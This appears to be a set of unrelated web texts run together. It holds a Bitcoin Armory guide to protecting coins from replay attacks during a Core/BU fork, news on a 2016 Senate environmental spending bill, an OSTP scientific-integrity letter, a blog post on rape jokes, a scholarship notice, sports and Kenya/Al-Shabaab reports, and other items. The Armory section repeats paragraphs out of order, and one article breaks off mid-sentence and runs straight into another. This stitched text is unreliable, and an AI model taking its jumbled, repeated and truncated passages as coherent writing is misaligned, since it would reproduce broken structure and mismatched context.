- Once your RBF gets a good confirmation cushion on the Core side (possibly a day or 2 if BU decides to attack the chain), you have a utxo exlusive to the BU chain and one exclusive the Core chain. You are now safe to taint the rest of your stash on each chain, keeping in mind that untainted coins remain valid on both chains.
In preparation for this event, I'm adding RBF for 0.96, so you should be covered on the tainting side if anything. Of course, keeping coins on an exchange will give you that "taint" once the exchange lists both forks. That's the easy way out, with the associated risk.
There is essentially no risk to tainting your coins on your own, at worst you are just sending your coins back to yourself on both chains. The only risk is to not wait for enough confirmations on the Core chain in case of a BU mining attack.
3) I tainted my coins, I want to trade them now!
You have 2 ways around this.
a) The simplest and most convenient way is to wait for an exchange to list both coins and do your business there.
How is this different from just keeping your coins on an exchange you ask? In that scenario, you are the mercy of the exchange you left your coins on pre fork. If they never list the 2 coins and/or don't let you withdraw post fork, there is nothing you can do about it.
If you taint your coins yourself, you not only manage the risk (you are only have to move coins on the chain you dont support in order to dump), you also get your pick of the exchanges, which means you can evaluate the different services before going all in with one.
b) Find someone on the other side of the fence willing to trade you and use a cross chain swap scheme.
I don't know if any of these schemes are publicly available. I've developed one for a partner of mine in the past. If things drag along, I'll ask for permission to make the scheme public, but I expect the community will deliver a solution faster than I if it comes down to this.
Keep in mind that in both cases, this play is risky as long as the Core chain is under a BU miner attack. Under these circumstances, a swap on a custodial exchange (as opposed to whatever on chain swap scheme, through an exchange or not) has a marginally higher chance of success. You can swap, ride out the attack and withdraw at the first sign of clearing, assuming the exchange doesn't screw you over (but that's a constant risk with exchanges to begin with). If you have IOU at an exchange (or any service provider for that matter), they hold the private keys, hence they get the mirrored coins. At this point there is no knowing if/when the exchange will credit you with coins on the other fork, and which fork they will decide run as their main.The other issue is the possibility to being exposed to a hasty, untested implementation of the coin split. Coinbase dropped the ball during the ETH/C HF, you can research that event if you want to know more.Lastly, if BU aggressively attacks the Core chain (mining empty blocks, forcing reorgs), they will effectively hamstring the Core chain's capacity. From your perspective, there is no knowing when your deposits and withdrawals will confirm. From the exchanges' perspective, they will have to use very liberal confirmation count to credit/draw your balance against on chain operations (possibly days).My position is that it is preferable to move your coins out of exchanges before a fork, let the dust settle, then figure out where you want to trade.There is a chance you get to pick an exchange that's prepared, has ample coin and let's you trade the forks on day 1. But then again, they risks remain: withdrawal turmoil and running unseasoned code.Last but not least, BU has no wipeout protection. If the Core chain ever catches up BU in work, the BU fork gets wiped out. This does not happen the other way around, so there is actually quite some liability to list a BU balance, since the underlying coins could disappear the next day. This leads me to believe exchanges won't list BU coins for a while in the event of a fork.There are 2 sides to this coin (see what I did there!):The DB builds off of on disk chain data and does not enforce consensus rules. In other words, any client that uses the same block data format and magic word as Core is compatible with Armory. From your perspective, running Armory against the BU chain will show you your BU balance, and vice versa.Know that Armory (naturally) applies chainwork rules, and that it ignores all data on shorter forks. Again, from your perspective, it means that in the case of a BU fork, running the BU client against your Core block data will make Armory blind to the Core chain.In practice, this means that to be able to interchange seamlessly between your Core and BU transaction history, you need 2 copies of the chain, one for the Core chain and one for the BU fork. Same goes with the Armory DB, as it is intimately tied to the underlying block data. However, you do not need to rescan the BU chain to get the copy of Core DB to work off of it.To summarize, you need:- 1 copy of the chain to run exclusively against the Core client, with the associated Armory dbdir.- 1 copy of the chain to run exclusively against the BU client, with associated Armory dbdir.You can swap between the 2 by pointing Armory to the relevant pair of block data folder (--satoshi-datadir) and database folder (--dbdir).---------If you know what tainting is, you can skip this part.If a transaction you create on one chain is valid on the other, the recipient of your payment can replay the same transaction on the other chain to pocket your coins there as well. This is called the replay attack.At the same time, BU has made it clear they don't intent to implement replay protection, and have no plan to change their P2P port from Core's, so these transaction will be present in both mempools to begin with (as they will propagate to both chains, since the P2P networks overlap).The solution at the user level is to "taint" your coins, i.e. you want to get a transaction on one chain that isn't valid on the other. Once you have that, you can mix all of your remaining coins with the "tainted" output to the same effect. At this point none of your utxos on the one chain are valid on the other, which guarantees your txs aren't replayable.---------Tainting on BU is actually fairly easy. They want to increase the block size limit and reduce tx fees. At the same time, the departure of hash power from the main chain will result in slower Core blocks (i.e. less capacity, thus higher fees).Hence, the simplest way to taint on BU is this:In preparation for this event, I'm adding RBF for 0.96, so you should be covered on the tainting side if anything. Of course, keeping coins on an exchange will give you that "taint" once the exchange lists both forks. That's the easy way out, with the associated risk.There is essentially no risk to tainting your coins on your own, at worst you are just sending your coins back to yourself on both chains. The only risk is to not wait for enough confirmations on the Core chain in case of a BU mining attack.You have 2 ways around this.How is this different from just keeping your coins on an exchange you ask? In that scenario, you are the mercy of the exchange you left your coins on pre fork. If they never list the 2 coins and/or don't let you withdraw post fork, there is nothing you can do about it.If you taint your coins yourself, you not only manage the risk (you are only have to move coins on the chain you dont support in order to dump), you also get your pick of the exchanges, which means you can evaluate the different services before going all in with one.I don't know if any of these schemes are publicly available. I've developed one for a partner of mine in the past. If things drag along, I'll ask for permission to make the scheme public, but I expect the community will deliver a solution faster than I if it comes down to this.Keep in mind that in both cases, this play is risky as long as the Core chain is under a BU miner attack. Under these circumstances, a swap on a custodial exchange (as opposed to whatever on chain swap scheme, through an exchange or not) has a marginally higher chance of success. You can swap, ride out the attack and withdraw at the first sign of clearing, assuming the exchange doesn't screw you over (but that's a constant risk with exchanges to begin with). https://btcarmory.comPresident Obama has repeatedly threatened to veto legislation that rolls back environmental protections, but Republicans are apparently planning to test his resolve.
The fiscal 2016 Interior, Environment and Related Agencies spending bill marked up by the Senate Appropriations subcommittee of the same name yesterday contains numerous riders that would hamstring the administration's ability to regulate greenhouse gases, fracking and other forms of air and water pollution, to name a few (E&ENews PM, June 16).
All of these provisions fall squarely in the realm of policies that the administration has vowed to defend, but Republicans are brushing aside the warnings, arguing that they're fulfilling their legislative duties in doing so.
Interior-Environment Chairwoman Lisa Murkowski (R-Alaska) in the past has expressed a dim view of the legislative brinkmanship that led to the 2013 government shutdown but said yesterday the riders respond to a chorus of lawmaker complaints over executive overreach.
"If I lay awake worrying about what the president was or wasn't going to be doing with an appropriations bill or any other bills that we have in front of us, I'd never get any sleep," she told E&E Daily after the markup. "What I'm doing as a lawmaker is doing my job, which is as chairman of the Interior Appropriations Committee, trying to put a bill together that represents the sentiments and concerns and wishes of the committee and other members, and we will move through the process."
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Sen. John Hoeven (R-N.D.), who led efforts to include a provision defunding the recently finalized Waters of the U.S. Clean Water Act rule, said Republicans tried to craft the more contentious riders in "a way that is workable."
The bill text won't be publicly released until tomorrow, but Hoeven cited a provision that he said would ensure that states that have regulatory regimes maintain "primacy" in regulating hydraulic fracturing.
Asked if Republicans are essentially daring Obama to veto the bill over riders attacking the Clean Power Plan and EPA's planned ozone update, Hoeven said it would depend on the legislative context.
"First we have to get it through the Congress, and then we'll see," he said. "But remember, it depends on how this tracks forward from the standpoint of which actual bills move individually and then which bills are part of a larger package and then what's in that overall package. In other words, the president may have to look at the bill in its entirety -- and Democrats will have to look at the bill in its entirety and then make a decision. And so I don't know that they can look at any one issue and say that's going to make the determination as to whether or not he vetoes the bill."
But in the event the shaky appropriations process falls apart, Hoeven added that Obama may reconsider vetoing a broader omnibus bill that contains unpalatable riders.
"We obviously could end up at the end of the year with some sort of larger package, and yes, it will be a negotiation as to how many of these items we're able to keep in the underlying legislation, and we'll just have to see how that goes," he said.
But environmentalists see little room for compromise on riders. David Goldston, director of government affairs for the Natural Resources Defense Council, said yesterday that negotiations over riders will proceed concurrently with talks over how to address across-the-board sequestration spending cuts. But Goldston said he did not see any riders that congressional Democrats or the White House would easily accept.
"On things that actually have real meaning, there's not a lot of second-tier stuff here," he said during a briefing yesterday. "And I think the administration has learned that if you give an inch, they take a mile, and that there's not much benefit from getting this other stuff. The fact that they're having this macro debate about the numbers I don't think makes them more likely to give on other things. I think it means we're going to the mat on this whole set of stuff."
Here are some key provisions of the bill and the agencies they would affect:
EPA
The bill would provide $7.6 billion for EPA in fiscal 2016, which represents a cut of $538.8 million below current funding levels but is slightly higher than would be provided by the House's spending plan for the agency.
Core regulatory programs at EPA would take a cut of $57.1 million, part of a broader attempt by Republicans to curtail agency regulatory activities. EPA would not receive the $25 million in state grants and $26 million in technical assistance requested by the Obama administration to help states put in place its rules over carbon dioxide emissions from power plants.
EPA's air and water programs would be cut by $75 million, while its civil and criminal enforcement would see a reduction of $7.5 million.
Among the policy riders in the bill are several aimed at EPA's regulatory activities. The bill would prohibit EPA from putting in place a federal implementation plan for states that don't comply with the Clean Power Plan to reduce carbon dioxide emissions at power plants. Democrats yesterday objected to the provision, saying it would block progress in addressing climate change by allowing states to back out of the CPP without any consequences.
Although not specific to EPA, the legislation also would include language that appears aimed at preventing the Obama administration's draft guidance that seeks to streamline how federal agencies address the causes and effects of climate change in National Environmental Policy Act reviews for projects. The Council on Environmental Quality issued the guidance in December, drawing cheers from environmentalists.
According to a summary by Appropriations Democrats, the bill unveiled yesterday would prevent agencies from using a consistent standard for accounting for climate change in NEPA reviews.
In the area of water policy, EPA would be blocked from putting in place its final Waters of the U.S. rule to amend the scope of water bodies that receive automatic protection under the Clean Water Act.
The bill also includes a provision that would halt EPA from tightening the national ozone standard until 85 percent of counties meet the current standard -- which is similar to a provision that the House Appropriations Committee added to its Interior-EPA spending place yesterday.
Also similar to the House spending legislation, the Senate version contains a policy rider that would promote biomass by requiring all biomass emissions to be treated as carbon neutral. It comes as EPA is considering whether biomass energy generation should be considered a zero-emission substitute for fossil fuels under its Clean Power Plan for reducing greenhouse gas emissions from power plants.
Other language would block a law that requires industry to make financial plans for cleaning up potential future hazardous waste contamination, which Democrats say would place the burden of cleanup costs on taxpayers.
Interior, Forest Service
The Senate's fiscal 2016 funding bill contains a significant new provision to reform how the Forest Service budgets for wildfires, and it also contains controversial policy riders to restrict the Bureau of Land Management's hydraulic fracturing rule and to allow construction of a road through the Izembek National Wildlife Refuge.
The bill would provide about $11 billion to the Interior Department agencies under the subcommittee's jurisdiction.
It would also provide $5.12 billion for the Forest Service, a $67 million bump over current spending levels that includes funding boosts for hazardous fuels reduction, road maintenance and construction and logging.
In a major break from the House's proposed spending bill for Interior and the Forest Service, the Senate bill includes a "fire cap adjustment" that would provide disaster assistance for wildfire response once fire expenditures have exceeded the 10-year average cost of suppression.
While the precise language of the bill has not been released, the provision appears to be a partial victory for the Obama administration, which has asked Congress to provide disaster funding for the most catastrophic wildfires, thereby sparing the Forest Service from having to "borrow" money from non-fire accounts when suppression funds run out.
The move was one of the few points of bipartisan harmony in the Senate bill.
"The reforms proposed for the wildland firefighting budget are a little different than the bipartisan legislation we've seen from Sens. [Ron] Wyden [D-Ore.] and [Mike] Crapo [R-Idaho]," said Sen. Tom Udall (D-N.M.), the subcommittee's ranking member. "But the language that [Murkowski] has included will help us work toward the goal that I know we both share: ending the cycle of fire borrowing."
Murkowski's bill would also provide $1.054 billion in emergency spending for wildfire programs -- separate from the panel's discretionary allocation -- to be used if all discretionary appropriations are exhausted.
Republicans and Democrats parted ways on a bevy of other wildlife and energy provisions.
The Senate bill would authorize a land exchange and the construction of a road through the Izembek National Wildlife Refuge in Alaska, a key priority for Murkowski, who has argued that a 10-mile gravel road is crucial for public safety in King Cove, Alaska.
The provision would overturn Interior Secretary Sally Jewell's decision in December 2013 to reject the road to protect the refuge's wilderness values and migratory birds.
"My approach in this bill -- to cherry-stem a very small road out of a wilderness area -- is neither unusual nor unprecedented, but instead quite common," Murkowski said in a statement yesterday. "With the health and safety of nearly 1,000 Alaskans at stake, it is decades past time for us to offer the same simple protections to King Cove."
Conservation groups have long opposed the road, arguing that Congress has already earmarked tens of millions of dollars to improve safety in King Cove and warning that a road would set a dangerous precedent.
"The Izembek road was a terrible idea in 1998 when it was first proposed," said Don Barry, senior vice president for conservation programs at Defenders of Wildlife. "It was a terrible idea when Secretary Jewell heroically rejected it in 2013, and it remains a terrible idea today. It should be defeated."
The Senate bill also includes a provision "giving states flexibility related to the BLM hydraulic fracturing rule," according to a summary provided by committee Republicans.
A summary provided by committee Democrats said the bill "forces BLM to accept state or tribal standards related to hydraulic fracturing on public lands -- even if those standards are weaker than BLM's."
The provision appears to roll back one of the Obama administration's signature energy regulations on public lands. BLM's final rule, released last March and set to take effect next week, seeks to enhance the safety of hydraulic fracturing at thousands of wells that are drilled annually in the West. It is being challenged in court by industry and some Western states that argue it is duplicative of state rules.
The provision may mirror an amendment that was added to the House's fiscal 2016 Interior-EPA spending bill at full committee markup yesterday that would prohibit "funding to implement, administer, or enforce" BLM's fracking rule.
Like the House measure, Murkowski's bill also would continue a prohibition on the Fish and Wildlife Service listing the greater sage grouse as a threatened or endangered species. It also followed the House bill's lead by meeting the Obama administration's request for $60 million to conserve the species throughout its 11-state Western range.
The funding boost in both bills may help Fish and Wildlife determine in September that sage grouse no longer need protection under the Endangered Species Act. That decision will be influenced heavily by the extent to which Congress decides to curb BLM's administrative efforts to enhance sage grouse protections on public lands where the majority of the birds live.
According to Senate committee Democrats, the upper chamber's funding bill also includes language to delist wolves in the Great Lakes and Wyoming and to bar the federal government from regulating lead ammunition or fishing tackle. The House bill contains similar measures.
According to Senate committee Republicans, the upper chamber's bill also provides:
$1.18 billion for BLM, an increase of $65.5 million above the enacted level. It rejects the Obama administration's proposed new inspection fees for onshore oil and gas drillers.
$2.72 billion for the National Park Service, a boost of $113 million above the enacted level that includes "important increases for construction backlog, maintenance, and new park units established under the National Defense Authorization Act of 2015." There is also an additional $110 million for the Centennial Initiative.
$1.43 billion for Fish and Wildlife Service, roughly level with current funding. The bill boosts |
the Executive Branch”. As formulated there, the principles on which these recommendations for further Presidential action are to be based are as follows:
(a) The selection and retention of candidates for science and technology positions in the Executive Branch should be based on the candidate's knowledge, credentials, experience, and integrity; (b) Each agency should have appropriate rules and procedures to ensure the integrity of the scientific process within the agency; (c) When scientific or technological information is considered in policy decisions, the information should be subject to well-established scientific processes, including peer review where appropriate, and each agency should appropriately and accurately reflect that information in complying with and applying relevant statutory standards; (d) Except for information that is properly restricted from disclosure under procedures established in accordance with statute, regulation, Executive Order, or Presidential Memorandum, each agency should make available to the public the scientific or technological findings or conclusions considered or relied on in policy decisions; (e) Each agency should have in place procedures to identify and address instances in which the scientific process or the integrity of scientific and technological information may be compromised; and (f) Each agency should adopt such additional procedures, including any appropriate whistleblower protections, as are necessary to ensure the integrity of scientific and technological information and processes on which the agency relies in its decision-making or otherwise uses or prepares.
There should not be any doubt that these principles have been in effect—that is, binding on all Executive departments and agencies—from the date of issue of the Memorandum on March 9, 2009. All that has been awaiting the requested action by the Director of OSTP is recommendations to the President on what further instructions he might issue in augmentation of these principles in order to advance the goal of achieving the highest level of scientific integrity across the Executive Branch.
Pursuant to that request, my staff and I have been engaged since the date of the Memorandum in development of such recommendations, which as specified in the Memorandum has included consultations with “the heads of executive departments and agencies, including the Office of Management and Budget and offices and agencies within the Executive Office of the President”. Indeed, OSTP began the process by creating an interagency panel with representatives from all of the major science offices and agencies. That group launched an unprecedentedly open, Web-based process to accept detailed input from stakeholders inside and outside government. Based on that input and internal discussions, the group developed draft recommendations for consideration by OSTP and OMB. And over the intervening months representatives from those two offices have been honing a final set of recommendations.
I am the first to admit that the process has been more laborious and time-consuming than expected at the outset. Determining how to elaborate on the principles set forth in the Memorandum in enough detail to be of real assistance in their implementation, while at the same time retaining sufficient generality to be applicable across Executive departments and agencies with a wide variety of missions and structures, has been particularly challenging. And other demands on the participants over this time period have also been much greater than expected. But I am pleased to report here that the process, though slower than many (including myself) had hoped, has resulted in what I believe is a high-quality product that I anticipate finalizing and forwarding to the President in the next few weeks.
In addition to the strong scientific integrity principles that, as noted above, have been in effect since the President’s memorandum of March 9, 2009, there has been other important activity on transparency and integrity ongoing in parallel with the process of developing the supplementary recommendations that the memorandum requested. In particular, OSTP and OMB have spearheaded an array of Open Government initiatives that have, together, made a record-breaking amount of government data available to the public and, more generally, have unveiled many previously hidden workings of the Federal government. Indeed, I believe no Administration has pushed as hard as this one to restore integrity in general—and scientific integrity in particular—to the Federal enterprise. I am confident that with the completion of OSTP’s recommendations on scientific integrity these already high standards will be strengthened and assured well into the future.
John P. Holdren is Assistant to the President for Science and Technology and Director of the White House Office of Science and Technology PolicyThis is a post I originally wrote for We Can! Singapore last year, but I realise We Can! doesn't link to its own archives, so I reposted my articles here as I feel they are important :) Baseline is, there are plenty of other intellectual, non-demeaning, non-dehumanising topics to joke about, you don't have to base your humour upon sexual degradation or racism.We are all well-educated, at least in Singapore, and surely we'd want our behaviour to reflect our intellectual enlightenment. We can all make society a nicer place to live in. :)--------------------------------------------------------------------------------------------------------------------Sexual assault is a serious matter.Contrary to popular belief, the rapist who leaps out of bushes to rape women passing by at 2 o’clock in the morning is the rarest kind of rapist. It appears the most common forms of rape are perpetuated by ex-lovers/boyfriends.As such, when people make light of sexual assault among friends or on social media, it normalises the idea of sexual assault.Someone who already has the intention to violate another person will only receive further validation from these jokes.Victims of sexual assault rarely seek the help they need because of the stigma and victim blaming they have to endure if they choose to speak out about their experiences. Without a supportive environment, they would only suffer further, especially if people, even their loved ones and peers, treat their experiences as a source of entertainment.I believe people generally refrain from joking about murder victims – it is time we extended that basic respect to victims of sexual assault. Ultimately, a joke is not merely a joke – it can reflect dangerous attitudes.It is not about whether or not the person making the joke would act on it; it is about the kind of environment we’d like our future generations to grow up in. It is time we treated sexual assault as the grave and inhumane crime that it is.So during the exchange, my Santa messaged me to check some things and tailor the gifts appropriately. They knocked it out of the park!
After finding my Instagram, my Santa saw that I've been on a weight loss journey for the last year and a half. I got a gorgeous natural food book written by one of the top Belgian chefs! It looks great and I'm sure I'll be whipping up plenty of yummy things from it.
I also described my love for Portal 2, and I got a Christmas-themed Portal tank top that I'm in love with.
What's more, Santa wanted to include some personal messages. As they ordered from online, they set up a website with a script. In order to access the messages, I had to first choose from a range of categories as to what the gifts were. Then I had to answer a question about each one to make sure that I wasn't cheating! After that, I got to read two lovely messages from my Santa.
I'm so pleased and feel so blessed to have had a great experience. Thank you Santa, and thank you RedditGifts!Undergraduate / Postgraduate Scholarships
Fully Funded Scholarships for International Students
2017 / 2018 Scholarships in Brunei
Government of Brunei Scholarships 2017
The Ministry of Foreign Affairs and Trade (Government of Brunei) is offering Scholarships for foreign students. These scholarships tenable in Universiti Brunei Darussalam, the scholarship award provides applicants with the opportunity to study at any of the following institutions of higher education:
Universiti Brunei Darussalam (UBD)
Universiti Islam Sultan Sharif Ali (UNISSA)
Universiti Teknologi Brunei (UTB)
Politeknik Brunei (PB)
Field of Study / Subjects
Government of Brunei is offering in any of the course to study for undergraduate and postgraduate
Scholarship Description / Details
The Government of Brunei Darussalam will bear following expenses:
Tuition Fees
An economy class air-ticket to Brunei Darussalam from the applicant’s country of origin and vice-versa
A monthly personal allowance of BND 500.00
A monthly food allowance of BND 150.00
An annual book allowance of BND 600.00
Baggage allowance for shipment of personal effects to applicant’s country of origin upon completion of the program, at a maximum amount of:
BND 250.00 to a country within the ASEAN region or
BND 500.00 to a country outside the ASEAN region
Accommodation at the residential college of the University/Polytechnic
Eligibility Criteria
Open to all citizens, but not limited to ASEAN, Commonwealth and OIC member countries
Should be nominated by their Government
Must be certified to be medically fit for this scholarship
Must be between the age of 18-25 for undergraduate and diploma programs and must not exceed the age of 35 for postgraduate programs
Not eligible to Brunei Darussalam Permanent Residents
How to Apply / Download Scholarship Form / Documents Required
Application Form BDGS 2017-2018.doc
Application Form BDGS 2017-2018.pdf
The following documents MUST be submitted with the form:
Recent passport size photographs
Certified copies of academic qualifications and other supporting documents (i.e. certificates, testimonials, transcripts)
Certified English translations of supporting documents must be submitted for documents that are not in English
Applicant’s Statement of Purpose
Certified copies of Birth Certificate and Passport
Security Vetting
Complete application form with required documents sends to:
Technical Assistance Unit Scholarship
Training and Technical Assistance Division
Department of Administration
Ministry of Foreign Affairs and Trade
Jalan Subok
Bandar Seri Begawan, BD2710, Brunei Darussalam
E-mail: scholarship@mfa.gov.bn
Fax No: (673) 2230903
Last Date to Apply / Deadline: 13th March (annual)
Official Website: To get info, visit given link of the official site
http://www.mofat.gov.bn/PublishingImages/Pages/BDScholarship/ANNOUNCEMENT%20BDGS%202017-2018%20ACADEMIC%20SESSION.pdfPresident Barack Obama on Wednesday addressed a grand jury's decision not to indict a New York City police officer in the death of Eric Garner, an unarmed black man who died after being placed in a chokehold.
"This is an issue we've been dealing with for too long and it's time for us to make more progress than we've made," Obama said at the annual White House Tribal Nations Conference in Washington. "I'm absolutely committed as president of the United States to making sure that we have a country in which everyone believes in the core principle that we are equal under the law."
The president noted that he was looking forward to the recommendations of a national task force on policing that he created in the wake of the Michael Brown shooting in Ferguson, Missouri, and that he had spoken with Attorney General Eric Holder about the Garner decision. While he said that he could not directly weigh in on the facts of the case as other investigations are still ongoing, Obama did take the opportunity to address the issue of police mistrust, especially in the wake of the shootings of Michael Brown, Tamir Rice, and Trayvon Martin.
"We are not going to let up until we see a strengthening of the trust and a strengthening of the accountability that exists between our communities and our law enforcement," he said.
"When anybody in this country is not being treated equally under the law, that's a problem," he added. "It's incumbent on all of us as Americans...that we recognize that this is an American problem and not just a black problem. It is an American problem when anybody in this country is not being treated equally under the law."Download Issue #2 of the Newsletter of the
Tokologo African Anarchist Collective here
Editorial
Welcome to the second issue of Tokologo, produced by the Tokologo African Anarchist Collective.
Why do we publish this? We publish it because our country is crying out for an alternative. And that alternative is anarchism, which stands for a free and democratic society, run from the grassroots, in communities and workplaces, and based on equality and freedom. In such a society, wealth like land and factories would be collectively owned; production would be directed to meeting basic needs and ensuring environmental sustainability. In such a society, everyone would have a say in all matters that affect them; poverty and deprivation would be abolished; hatred and competition would be replaced by cooperation and mutual aid by all peoples.
Corruption, exploitation, police brutality, poverty, and unemployment wreak havoc on township communities, on families, on youth. Desperation provides grounds for hatred, by race, by nationality, by sex. The dreams of freedom of the1980s and 1990s have evaporated. Politicians make promises that they do not keep. Workers are killed when they demand higher wages. While Marikana comrades bury their dead, the super-rich spend millions on weddings and parties …
The black working class, in particular, finds itself held by the chains of capitalists and politicians, and weighed down by the national oppression of the apartheid past. But all working class and poor people, of whatever race, find themselves in chains.
The solution is to fight for something better, a new society. This means organising our working class movements to fight for a new society, And it means freeing our minds of confusion, by educating ourselves with the truth about what is wrong, and the truth about how to make things right.
Tokologo aims to contribute to this project. If you agree with what we say, or want to know more, or want a workshop, why not contact us. Our email address is tokologo.aac@gmail.com or phone us on 072 399 0912.
AdvertisementsGoals from Jess Clarke, Ellen White and Danielle Buet see the Blues knocked out of the FA Women's Cup at the semi-final stage.
Everton Ladies were knocked out of the FA Women’s Cup as Notts County condemned the Blues to a 3-0 defeat at Goodison Park on Sunday afternoon.
The Toffees had opportunities throughout the 90 minutes but Notts County proved to be more clinical in front of goal and second-half strikes from Jess Clarke, Ellen White and Danielle Buet secured County’s place in the FA Women’s Cup final.
Everton nearly got off to the perfect start within the first minute of the contest when Lucy Whipp skipped in from the left-hand side and unleashed a 25-yard shot but her effort cannoned of the crossbar.
With both sides desperate to net the opening goal, it was end-to-end in the early exchanges with Megan Walsh saving well from Clarke while Emily Hollinshead had an appeal for a penalty turned away after it looked like the Welsh international was tripped in the box.
Notts County gradually began to control the game with Aileen Whelan, Rachel Williams and Clarke all coming close to breaking the deadlock.
But it was Whipp who had another clear-cut chance to put the Blues ahead on 38 minutes.
Skipper Michelle Hinnigan found the forward on the left-hand side of the box but with just the keeper to beat, Whipp couldn’t generate any power behind her effort to trouble Carly Telford.
And Everton were made to pay for that missed opportunity when they fell behind just seconds into the second half.
Former Blue Alex Greenwood whipped in a cross from the left-hand side and Clarke was on hand to slot home from close range.
The Toffees task was made even harder just ten minutes later as Greenwood provided another pin-point cross but this time it was White who headed home.
With time running out, Spence looked to change things and the Blues boss brought on Claudia Walker to replace Emily Hollinshead but the game was put out of their reach on 81 minutes.
Turner was shown a yellow card for a foul deep in Everton’s half and Notts County netted their third from the resulting free-kick.
Buet’s in-swinging effort missed everyone in the box and nestled into the bottom corner to seal a 3-0 victory and put an end to the Blues hopes of a second successive FA Women’s Cup final appearance.Photo: The Daily Nation
Armed members of the hardline Al Shabaab Islamist rebel group stand guard outside a retail store in southern Mogadishu. (file photo)
Ishakani — Kenyan troops operating in the southern part of the border with Somalia estimate that they have removed the Al-Shabaab from about 50 per cent of the area. (Read: Al-Shabaab militants fall back to defend Kismayu)
Speaking to the Nation at Ishakani Military Camp, about four kilometres from the border at the tip of Kenya, Lieutenant Colonel John Maison Nkoimo said the troops are firm on the ground and remain focused on achieving their objective.
"We're pretty sure that southwards of Burgavo, we don't expect any hostilities," said Lt Col Nkoimo, who is commanding the Southern Sector.
The camp at Ishakani is the launching point for troops in the Southern Sector of Operation Linda Nchi, which is being carried out in a three-pronged attack from the North at El Wak, Centre at Liboi and the South at the coast and northwards.
Ishakani is a few kilometres from Ras Kamboni, the former headquarters of the Al-Qaeda in East Africa, which was taken on Mashujaa Day.
Burgavo remains under the control of the Kenyan troops, who will then embark on the attack on the important port city of Kismayu, in a bid to strangle the Al-Shabaab economically.
Lt Col Nkoimo said the battle for Kismayu would be fought "on our own terms and at our own time".
In Nairobi, President Kibaki for the second time warned that Kenya will not relent in its military operation against Al-Shabaab militants in Somalia.
The President said the military was determined to complete the task of eliminating the terrorist threat posed by the extremist group.
"In Kenya, we are currently dealing with a militant group based inside Somalia that has sought to destabilise not just Kenya, but the entire Horn of Africa region," the President said when he officially opened the first Africa Congress of Accountants in Nairobi.
Addressing the nation on Mashujaa Day, the President, who is also the Commander-in-Chief of the Kenya Defence Forces, said Kenyan troops would not relent in their pursuit of the militants inside Somalia.
Ten days ago, the Chief of General Staff General Julius Karangi also affirmed the military's determination to complete the mission in Somalia.
Long-standing instability
On Monday, President Kibaki said that Kenya and the region in general would never find lasting peace unless the Al-Shabaab was wiped out.
"A solution to the long-standing instability is good for the Horn of Africa and indeed the entire African continent. Kenya intends to complete the work and operation we have began inside Somalia and create a strong foundation for the prosperity of the continent," he said.
Kenyan troops are on their third week of the incursion against the Somali militants, who are accused of having links to Al-Qaeda.
The offensive, dubbed Operation Linda Nchi, is aimed at weakening the insurgents besides restraining their ability to launch cross-border attacks.
Kenyan troops crossed into Somalia after the militants carried out a serious of attacks within Kenya. In September, Somali gunmen abducted British tourist Judith Tebbutt, after killing her husband, David.
Two weeks later, a French tourist, Marie Dedieu, was kidnapped and was later reported dead.
Two Spanish aid workers were also kidnapped from the Dadaab refugee camp in October.
Somalia has been without a central government since 1991, when dictator Mohamed Siad Barre was ousted.
Meanwhile, the military denied reports by an Iranian news network that fifteen Kenyan soldiers had been killed in the Somali town of Tabda.
Military spokesman Major Emmanuel Chirchir dismissed the reports as part of a propaganda campaign waged by the militants.
Quoting sources within the Somalia government, the reports claimed that the Kenyan soldiers had been killed accidentally by the Transitional Federal Government (TFG) fighters.
At the same time, religious leaders in Garissa on Monday called for calm in the wake of Saturday night's grenade attack on a church in the town which killed two people and injured five others.
In a statement, the church leaders condemned the attack on the East Africa Pentecostal Church, saying it was a criminal act which should be dealt with by security organs.Colorado taxpayers could see a delay in their refunds of up to two months this year as the state works to crack down on identity theft.
The Department of Revenue said Thursday it is emphasizing fraud detection and prevention over the fast refunds taxpayers have experienced in the past.
“The department is asking taxpayers to be patient as it is better to be sure a refund is going to the correct party and not to data thieves who stand to benefit from stolen refunds,” a state news release said.
Officials say not all refunds will be impacted, but only those linked to filings that show signs of fraud.
Some taxpayers could receive a letter or other contact from the revenue department requesting that they verify their income tax information or an income tax refund, the state says.
“Taxpayers are highly encouraged to respond in a timely manner,” the release said.
Anyone with questions on the process can visit the Colorado taxation website, www.TaxColorado.com, and look for a specific representative under the “Contact Us” link for each tax type.
Jesse Paul: 303-954-1733, jpaul@denverpost.com or @JesseAPaulA London, Ont., high school has pulled the plug on plans to stage the musical The Wiz this year amid criticism the production would be a "white-washing" of the Wizard of Oz adaptation told from an African American perspective.
H.B. Beal Secondary School principal Michael Deeb said the decision came on Thursday, a little more than a week after the school announced The Wiz as its annual production.
"The team has decided to respect and listen to the voices in our community and choose another production," said Deeb. "We want to be culturally sensitive. It's a good learning piece for everyone. We value the input from our community. In that spirit, we're going to be choosing another production."
For years, Beal's renown Musical Theatre program has staged well-reviewed student productions of musicals including West Side Story, Les Miserables and Fame.
On Oct. 4, the school posted a Facebook video revealing The Wiz was chosen as this school year's production.
Wave of criticism
This year's choice of musical came under fire because The Wiz retells the Wizard of Oz story from a black, urban perspective.
Alexandra Kane, a local performer and owner of the AK Arts Academy, published a letter of protest on Facebook on Thursday. She expressed concern it would be a "white-washed" production of a musical written in part as a response to an under-representation of black stories on Broadway and in film.
Kane feared Beal's production would feature a predominantly white cast. Officials at the school had not yet announced the cast for its production of The Wiz.
"To do this musical without the proper cast and crew is egregious and disrespectful to a culture [that] continues to struggle on a daily basis, battling discrimination, racism, and cultural appropriation," she wrote in the protest letter posted on Facebook.
Previously, The Wiz has been produced as a Broadway musical, a 1978 movie starring Diana Ross, Michael Jackson and Richard Pryor and a 2015 television production starring singer Mary J. Blige and hip-hop artist/actor Queen Latifah.
In an interview with CBC, Kane said The Wiz is an inherently black story.
Though The Wiz has similarities to the 1939 film The Wizard of Oz and the 1900 book that inspired it, the Dorothy in The Wiz is a young black woman trying to imagine a future beyond her home borough of Harlem.
She struggles with her identity and sense of being contained by a world that doesn't understand her.
"The world has shunned her for who she is, a black female," Kane wrote. "So often the black race is told or shown we can't rise above because of our culture, lifestyle, surroundings and colour."
'Not appropriate' for the cast
Kane applauded Beal's decision to not produce The Wiz this year, saying the show is "not appropriate for the cast that they have."
"I'm sad for the kids, I know they were excited to do this show. I hate for them to have gone through this for it to be taken away from them. But I'm glad that Beal listened to the feedback from the community."
She said the incident can be a positive lesson about why it's important to understand the deeper meaning behind plays and musicals they choose to produce.
"They completely ignored the cultural representation required to do this show," she said. "They disregarded the fact that it's a play by African Americans for African Americans. They missed the mark."
